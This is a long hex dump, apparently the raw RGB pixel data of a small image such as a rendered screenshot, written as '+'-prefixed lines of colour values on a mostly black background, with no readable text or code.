+0000000000000000000000000000000000000000000000000000000000000000000000006891BC +729FCF2A3B4C0000000000006891BC729FCF1F2B38161F28729FCF729FCF2C3D5005070A06090B +729FCF729FCF0D11170000000000000000000D11172C3D505D81A8729FCF4B6988000000000000 +0000000000000D11172C3D505D81A8729FCF4B69880000000B0F13729FCF425C776D98C6395068 +6E9AC9405A75729FCF0E13191C2732729FCF668EB9000000000000212E3C729FCF6B96C3000000 +000000000000000000000000000000000000000000000000000000000000000000131A22729FCF +729ECE0001010000000000000000000000000000000000000D11172C3D505D81A8729FCF4B6988 +0000000000000000000B0F13729FCF729FCF05070A000000000000000000000000000000000000 +0D11172C3D505D81A8729FCF4B6988000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000000F1906 +35571470B72A8AE2345B95220000000000005E9A238AE2344D7F1D000000000000000000000000 +0000001B2B0A8AE2348AE234355714060B02080C038AE2348AE2340F190600000066A7268AE234 +36591400000027400F8AE23475BF2C0000000000000000000000000F190635571470B72A8AE234 +5B95220000000000000000000000000000000000000000000000000000000000000000007ECE2F +8AE2343353130000000000007ECE2F8AE234253D0E0000000000004B7B1C8AE23478C42D8AE234 +5C9723000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000B0F13729FCF +729FCF05070A000000000000000000000000000000648CB6729FCF202D3A000000000000000000 +000000161F28729FCF729FCF2C3D5005070A06090B729FCF729FCF0D1117000000000000000000 +547599729FCF2E4154000000000000000000000000000000000000547599729FCF2E4154000000 +000000000000000000000000000000202D3A729FCF6289B30000000000000000000000004E6C8D +729FCF405974000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000707070707070707070707070707070707070 +707070707070707070707070707070707070707070707070000000385C158AE234325213304E12 +8AE23436591429430F8AE2343F6718233A0D8AE23489E134020401000000263E0E8AE2348AE234 +0F190600000000000000000027400F8AE23477C32D00000000000000000000000066A7268AE234 +36591400000027400F8AE23475BF2C000000000000000000000000578F2179C72E599121000000 +0000000000000000007ECE2F8AE2346BAF280508022F4D128AE23489E134101B06000000000000 +1827098AE2348AE2348AE2342B4610000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000006891BC729FCF597BA1040607273647729FCF +729ECE0D13181D2935729FCF729ECE0202030000001F2C39729FCF729FCF0D11170000001B2632 +080C0F0000000000001F2C39729FCF587A9F0000000000001B2632080C0F0000000000001F2C39 +729FCF587A9F0000000000006A94C0638AB3729ECE0B0F13709DCC638AB36D98C60001010B0F13 +719ECD729FCF161F2900000045607D729FCF6B96C3000000000000000000000000000000000000 +0000000000000000000000000000000000000B0F13729FCF729FCF151D25000000000000000000 +0000001B2632080C0F0000000000001F2C39729FCF587A9F000000000000000000070A0D729FCF +729FCF0F151B0000000000000000000000001B2632080C0F0000000000001F2C39729FCF587A9F +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000021360C0A1104000000000000263E0E8AE2346AAE28000000 +0000003C62178AE23481D4311C2E0B0000000A1004365814000000233A0D8AE23489E134020401 +000000263E0E8AE2348AE2340F190600000066A7268AE23436591400000027400F8AE23475BF2C +00000000000021360C0A1104000000000000263E0E8AE2346AAE28000000000000000000000000 +578F2179C72E5991210000000000000000000000007ECE2F8AE2346BAF280508022F4D128AE234 +89E134101B060000000000001827098AE2348AE2348AE2342B4610000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000070A0D729FCF729FCF0F151B000000000000000000 +000000000000648CB6729FCF202D3A0000000000000000000000001D2935729FCF729ECE020203 +0000001F2C39729FCF729FCF0D1117000000000000000000547599729FCF2E4154000000000000 +000000000000000000000000547599729FCF2E4154000000000000000000000000000000000000 +202D3A729FCF6289B300000000000000000000000032455A729FCF6B95C217202A000000080B0F +2C3E50000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000707070707070707070707070707070707070707070707070707070707070707070 +707070707070707070000000385C158AE234325213304E128AE23436591429430F8AE2343F6718 +090E0380D2308AE234568C203C61167BCA2E8AE2348AE2340F190600000065A5266AAE2873BC2B +8AE23486DB326AAE286AAE28385C1500000066A7268AE23436591400000027400F8AE23475BF2C +00000000000000000000000064A3268AE23466A7260000000000000000000000007ECE2F8AE234 +80D23087DE338AE2348AE23463A2250000000000000000000000006FB72A8AE23481D331030501 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000006891BC729FCF6A94C0709CCB729FCF729FCF527295000000070A0D6A94C0729FCF +476380314559668EB9729FCF729FCF0D111700000046617F6E9AC95A7DA35070916993BF729FCF +3E567000000000000046617F6E9AC95A7DA35070916993BF729FCF3E5670000000000000587A9F +729FCF5F85AD0000005C80A7729FCF5B7FA50000000000004F6E90729FCF6993BF55769A6E9AC9 +729FCF6B96C3000000000000000000000000000000000000000000000000000000000000000000 +0000000000006187AF729FCF6B96C3587BA0587A9F01020200000046617F6E9AC95A7DA3507091 +6993BF729FCF3E5670000000000000000000000000658CB7729FCF6891BD587A9F4B6988000000 +00000046617F6E9AC95A7DA35070916993BF729FCF3E5670000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +548A2086DB326DB229619F257FD0308AE2344B7A1C000000000000070C0377C32D8AE2348AE234 +81D4318AE2346AAE28000000090E0380D2308AE234568C203C61167BCA2E8AE2348AE2340F1906 +00000066A7268AE23436591400000027400F8AE23475BF2C000000000000548A2086DB326DB229 +619F257FD0308AE2344B7A1C00000000000000000000000064A3268AE23466A726000000000000 +0000000000007ECE2F8AE23480D23087DE338AE2348AE23463A225000000000000000000000000 +6FB72A8AE23481D331030501000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000658CB7729FCF6891BD587A9F4B6988000000000000000000648CB6729FCF202D3A +000000000000000000000000070A0D6A94C0729FCF476380314559668EB9729FCF729FCF0D1117 +000000000000000000547599729FCF2E4154000000000000000000000000000000000000547599 +729FCF2E4154000000000000000000000000537497587A9F5F84AC729FCF6E9AC9587A9F587A9F +2E415400000006080B6289B3729FCF729FCF6B95C2729FCF587A9F000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000707070707070707070 +707070707070707070707070707070707070707070707070707070707070707070000000385C15 +8AE234325213304E128AE23436591429430F8AE2343F671800000021360C6DB32985DA327AC72E +3658148AE2348AE2340F190600000084D8328AE2348AE2348AE2348AE2348AE2348AE2344A791C +00000066A7268AE23436591400000027400F8AE23475BF2C00000000000000000000000064A326 +8AE23466A7260000000000000000000000007ECE2F8AE2343151136DB22986DC3366A7260F1906 +0000000000000000000000004B7A1C8AE23453881F000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000006891BC729FCF29394A +5A7DA36F9BC95475990D11170000000000001B26325A7EA46E99C8658CB72C3E50729FCF729FCF +0D11170000002534435476996891BD6F9BCA658EB8425C77040608000000000000253443547699 +6891BD6F9BCA658EB8425C77040608000000000000445F7C729FCF476381000000445E7B729FCF +4864830000000000000C10155475986F9BC95E84AB2E4053729FCF6B96C3000000000000000000 +000000000000000000000000000000000000000000000000000000000000151D25587BA06E99C8 +729FCF729FCF0202030000002534435476996891BD6F9BCA658EB8425C77040608000000000000 +0000000000001E2A365D81A86F9BC9729FCF6289B30000000000002534435476996891BD6F9BCA +658EB8425C77040608000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000002D4A1166A8277ECF3087DD337BC92E +50821E0509020000000000000000000E170558902180D13085DA3271B92B345514000000000000 +21360C6DB32985DA327AC72E3658148AE2348AE2340F190600000066A7268AE234365914000000 +27400F8AE23475BF2C0000000000002D4A1166A8277ECF3087DD337BC92E50821E050902000000 +00000000000000000064A3268AE23466A7260000000000000000000000007ECE2F8AE234315113 +6DB22986DC3366A7260F19060000000000000000000000004B7A1C8AE23453881F000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000001E2A365D81A86F9BC9 +729FCF6289B3000000000000000000648CB6729FCF202D3A000000000000000000000000000000 +1B26325A7EA46E99C8658CB72C3E50729FCF729FCF0D1117000000000000000000547599729FCF +2E4154000000000000000000000000000000000000547599729FCF2E4154000000000000000000 +0000006D98C6729FCF729FCF729FCF729FCF729FCF729FCF3D556E0000000000000C1015496684 +6A93C06E99C85D82AA2B3C4E000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000707070707070707070707070707070707070707070707070 +707070707070707070707070707070707070000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000007ECE2F8AE23420350C00000000000000000000000000000000000000000004060177C32D +8AE23422370D000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000006891BC729FCF1B2531000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000007ECE2F8AE23420350C000000000000000000000000000000 +00000000000004060177C32D8AE23422370D000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +707070000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000007ECE2F8AE23420350C000000 +000000000000000000000000060B0268AA277AC72E8AE23470B72A000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +6891BC729FCF1B2531000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000121920121920121920121920121920121920121920121920121920000101000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +7ECE2F8AE23420350C000000000000000000000000000000060B0268AA277AC72E8AE23470B72A +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000707070707070707070707070707070 +707070707070707070707070707070707070707070707070707070000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000007ECE2F8AE23420350C000000000000000000000000000000090E03 +8AE23489E1346FB62A162308000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000006891BC729FCF1B2531000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000729FCF729FCF729FCF729FCF +729FCF729FCF729FCF729FCF729FCF040506000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000007ECE2F8AE23420350C000000000000 +000000000000000000090E038AE23489E1346FB62A162308000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000707070707070707070707070707070707070707070707070707070707070 +707070707070707070707070000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000263444263444263444263444263444263444263444263444263444 +010102000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000707070707070 +707070707070707070707070707070707070707070707070707070707070707070707070000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 